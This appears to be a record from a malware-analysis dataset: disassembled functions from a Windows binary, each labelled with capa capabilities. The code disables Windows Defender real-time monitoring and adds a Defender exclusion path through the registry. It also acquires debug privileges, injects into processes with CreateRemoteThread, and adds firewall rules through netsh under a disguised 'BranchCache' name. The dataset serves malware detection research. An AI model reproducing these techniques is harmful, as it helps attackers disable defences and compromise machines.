joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001530
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400015a4
lea rax, [rsp + 0x68]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400015d9
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
lea rdx, str.DisableRealtimeMonitoring
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400015e9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret

Function at 0x1400015f0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
call sub.MSVCR90.dll_memset
mov rax, qword [str.C:WINDOWS]
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
movzx eax, word [0x1400044c8]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
mov word [rcx + 8], ax
movzx eax, byte [0x1400044ca]
xor ebx, ebx
mov byte [rcx + 0xa], al
lea rax, [rsp + 0x58]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x54], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400016bd
lea rax, [rsp + 0x54]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400016ec
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400016fc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140002870
add rsp, 0x180
pop rbx
ret
Function at 0x140001720
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001748
xor eax, eax
add rsp, 0x48
ret
lea r8, [rsp + 0x60]
lea rdx, [0x1400044d0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001741
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x40], rbx
xor ebx, ebx
lea r8, [rsp + 0x30]
xor edx, edx
lea r9d, [rbx + 0x10]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400017af
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
Function at 0x140001cc0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
lea rdx, str.SYSTEMControlSet001ControlSession_ManagerPower
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001d72
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea rdx, str.HiberbootEnabled
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [rsp + 0x40], 1
jne 0x140001d67
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea rdx, str.HiberbootEnabled
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x38
ret

Function at 0x140001e20
Capabilities:
Check os version
Create thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rdi, rcx
mov rbp, r8
mov rsi, rdx
lea rcx, [rsp + 0x70]
xor ebx, ebx
xor edx, edx
mov r8d, 0x114
mov qword [rsp + 0x60], rbx
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x74], 6
jb 0x140001ede
lea rcx, [0x140004568]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400045a8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001eda
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x60]
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
call rax
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x140001f07
xor eax, eax
jmp 0x140001f1b
mov qword [rsp + 0x30], rbx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140001f1b
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002180
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, r8
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 0xf]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400021c4
xor eax, eax
jmp 0x140002247
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140002239
mov qword [rsp + 0x280], rdi
nop dword [rax]
mov edi, dword [rsp + 0x28]
lea rdx, [0x140004620]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.MSVCR90.dll__wcsicmp]
test eax, eax
je 0x14000220d
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400021e0
jmp 0x140002231
cmp dword [0x140006a54], 0
je 0x140002227
call fcn.140001cc0
mov rdx, rsi
mov ecx, edi
call fcn.140002060
jmp 0x140002231
mov rdx, rsi
mov ecx, edi
call fcn.140001f40
mov rdi, qword [rsp + 0x280]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rsi
ret

Function at 0x140002270
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x20], ax
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
lea r8, [rsp + 0x20]
xor edx, edx
repne scasw ax, word [rdi]
mov eax, dword [0x1400045f0]
or rcx, 0xffffffffffffffff
mov dword [rdi - 2], eax
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasw ax, word [rdi]
mov rax, qword [str.smsactive64.dll]
lea rcx, [0x140004620]
mov qword [rdi - 2], rax
mov rax, qword [0x140004600]
mov qword [rdi + 6], rax
mov rax, qword [0x140004608]
mov qword [rdi + 0xe], rax
mov rax, qword [0x140004610]
mov qword [rdi + 0x16], rax
call fcn.140002180
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140002870
add rsp, 0x240
pop rdi
ret
Function at 0x140002340
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x380
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov rax, qword [str.SYSTEMControlSet001_servicesV3_Service]
mov rbx, rcx
lea rcx, [rsp + 0x150]
mov qword [rcx], rax
mov rax, qword [0x140004658]
xor edx, edx
mov qword [rcx + 8], rax
mov rax, qword [0x140004660]
mov r8d, 0xda
mov qword [rcx + 0x10], rax
mov rax, qword [0x140004668]
xor edi, edi
mov qword [rcx + 0x18], rax
mov rax, qword [0x140004670]
mov qword [rcx + 0x20], rax
movzx eax, word [0x140004678]
mov word [rcx + 0x28], ax
lea rcx, [rsp + 0x17a]
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x38]
lea rdx, [rsp + 0x150]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002493
lea rdx, [rsp + 0x260]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], dil
call sub.MSVCR90.dll_memset
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
lea rdx, str.ImagePath
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140002493
lea edx, [rdi + 0x22]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x14000246d
mov byte [rax], dil
lea rax, [rsp + 0x41]
lea rcx, [rsp + 0x41]
sub rbx, rax
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x140002480
mov edi, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400024a3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x398]
add rsp, 0x380
pop rdi
ret
Function at 0x1400024d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x78]
lea rdx, [0x140006020]
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r9d, r9d
test eax, eax
jne 0x140002544
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
lea rdx, str.LOCAL_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140002584
lea ebx, [rax + 1]
jmp 0x1400025b9
lea rax, [rsp + 0x70]
lea rdx, [0x140006020]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400025b9
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
lea rdx, str.LOCAL_Value
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400025c9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x1400025e0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
call fcn.1400024d0
test eax, eax
je 0x1400025f4
xor eax, eax
add rsp, 0x38
ret
lea rcx, [0x140006b70]
xor edx, edx
mov r8d, 0xfa0
call sub.MSVCR90.dll_memset
lea rdx, str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
lea rcx, [0x140006b70]
call qword [sym.imp.MSVCR90.dll__swprintf]
xor r11d, r11d
lea r9, [0x140006b70]
mov dword [rsp + 0x28], r11d
lea r8, [0x1400047a8]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140002660
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
lea rcx, [rsp + 0x3a1]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x3a0], dil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x291]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x290], dil
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 0xf]
xor edx, edx
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x50], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x3a0]
call fcn.140002340
test eax, eax
je 0x14000282c
call fcn.1400025e0
lea r11, [rsp + 0x38]
lea rdx, [0x140006020]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000281a
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
lea rdx, str.LOCAL_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140002776
cmp dword [rsp + 0x30], 3
je 0x14000281a
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x290]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x3a0]
lea rdx, str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
lea rcx, [rsp + 0x290]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x290]
lea r8, [0x140004828]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.LOCAL_Value
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x30], 3
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000282a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x4c0
pop rdi
ret
Function at 0x140002c1b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x14000288a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002886
repz ret
ror rcx, 0x10
jmp 0x140002b74
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140006350]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140006448]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002bf9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140006350]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002c1b
mov rax, qword [rsp + 0x88]
mov qword [0x140006448], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400063e8], rax
mov rax, qword [0x140006448]
mov qword [0x1400062c0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400063d0], rax
mov dword [0x1400062b0], 0xc0000409
mov dword [0x1400062b4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140006008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140006348], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140004330]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140006348], 0
jne 0x140002ca2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140062a60
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
cmp byte [rdx + 0x4a], 0
je 0x140062a83
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0xf]
xor byte [rax + rdx], cl
inc rax
cmp rax, 0x49
jb 0x140062a70
mov byte [rdx + 0x4a], 0
call fcn.140076660
lea rax, [0x1403859f0]
add rsp, 0x28
ret

Function at 0x140062aa0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
cmp byte [rdx + 0x15], 0
je 0x140062ac3
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0xf]
xor byte [rax + rdx], cl
inc rax
cmp rax, 0x14
jb 0x140062ab0
mov byte [rdx + 0x15], 0
call fcn.140076660
lea rax, [0x1403859f0]
add rsp, 0x28
ret
Function at 0x1400640c0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
cmp byte [rdx + 0x34], 0
je 0x1400640e3
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0xf]
xor byte [rax + rdx], cl
inc rax
cmp rax, 0x33
jb 0x1400640d0
mov byte [rdx + 0x34], 0
call fcn.140076660
lea rax, [0x1403859f0]
add rsp, 0x28
ret

Function at 0x140064470
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
lea r14d, [rbp + 4]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov r15d, Ordinal_45
mov eax, dword [r15 + rsi]
mov r12d, Ordinal_50
test al, 1
jne 0x140064508
or eax, 1
mov dword [r15 + rsi], eax
mov ebx, r12d
add rbx, rsi
call fcn.140260830
mov ecx, eax
mov dword [rbx + 0x1384], 0xffffffff
mov dword [rbx + 4], eax
lea edx, [rbp + 1]
lea r8, [rbx + 8]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [r8], ecx
inc rdx
lea r8, [r8 + 4]
cmp rdx, 0x270
jb 0x1400644e0
mov dword [rbx], 0x270
mov eax, dword [r15 + rsi]
mov ebx, Ordinal_27
test al, 2
jne 0x140064529
or eax, 2
mov dword [r15 + rsi], eax
mov qword [rsi + rbx], rbp
mov qword [rsi + rbx + 8], reloc.WS2_32.dll_ntohs
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov dword [rsp + 0x20], 1
mov rdx, r14
mov rcx, rdi
call fcn.140073d20
lea r15, [rbx + rsi]
mov ebx, r12d
add rbx, rsi
lea r12, str.0123456789ABCDEF
nop dword [rax]
nop word [rax + rax]
dec r14
mov qword [rsp + 0x28], rbx
mov rbp, qword [r15]
mov rdx, qword [r15 + 8]
sub rdx, rbp
cmp rdx, 0xffffffffffffffff
jne 0x1400645a5
mov rcx, rbx
call fcn.14007ff00
mov esi, eax
shl rsi, 0x20
mov rcx, rbx
call fcn.14007ff00
mov eax, eax
or rsi, rax
jmp 0x1400645b5
inc rdx
lea rcx, [rsp + 0x28]
call fcn.14007f040
mov rsi, rax
lea rax, [rsi + rbp]
movzx r9d, byte [rax + r12]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1400645ea
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x1400645df
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400645f9
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rdi
call fcn.1400775e0
test r14, r14
jne 0x140064570
mov rax, rdi
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x14007ff00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14007ff61
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14007ff20
mov ecx, dword [r9]
jmp 0x140080048
cmp ecx, 0x4e0
jb 0x140080048
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x14007ff80
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x14007ffd0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140084900
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14008495d
lea rbx, [0x140347900]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140084944
cmp r10, 2
jb 0x140084944
cmp byte [r9], r8b
jne 0x140084944
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140084920
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14008499f
lea rbx, [0x140347900]
cmp r8b, 0x23
jne 0x140084983
cmp byte [r9], r8b
jne 0x140084983
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140084970
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x140084ae0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140084afa
mov qword [r8], 0
lea rdx, [0x14034d88c]
call fcn.1400849b0
mov rbx, rax
test rax, rax
jne 0x140084b1a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.14027d434
mov esi, eax
cmp eax, 0xffffffff
je 0x140084be8
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.14027df14
test eax, eax
jne 0x140084be8
mov rcx, rbx
call fcn.14027d434
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140084be8
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.14027df14
test eax, eax
jne 0x140084be8
cmp rdi, 0xffffffffffffffff
je 0x140084be8
mov rax, qword [0x140387618]
test rax, rax
je 0x140084b8a
inc dword [rax + 0x3b0]
mov rcx, rdi
call fcn.14027ce04
mov rsi, rax
test rax, rax
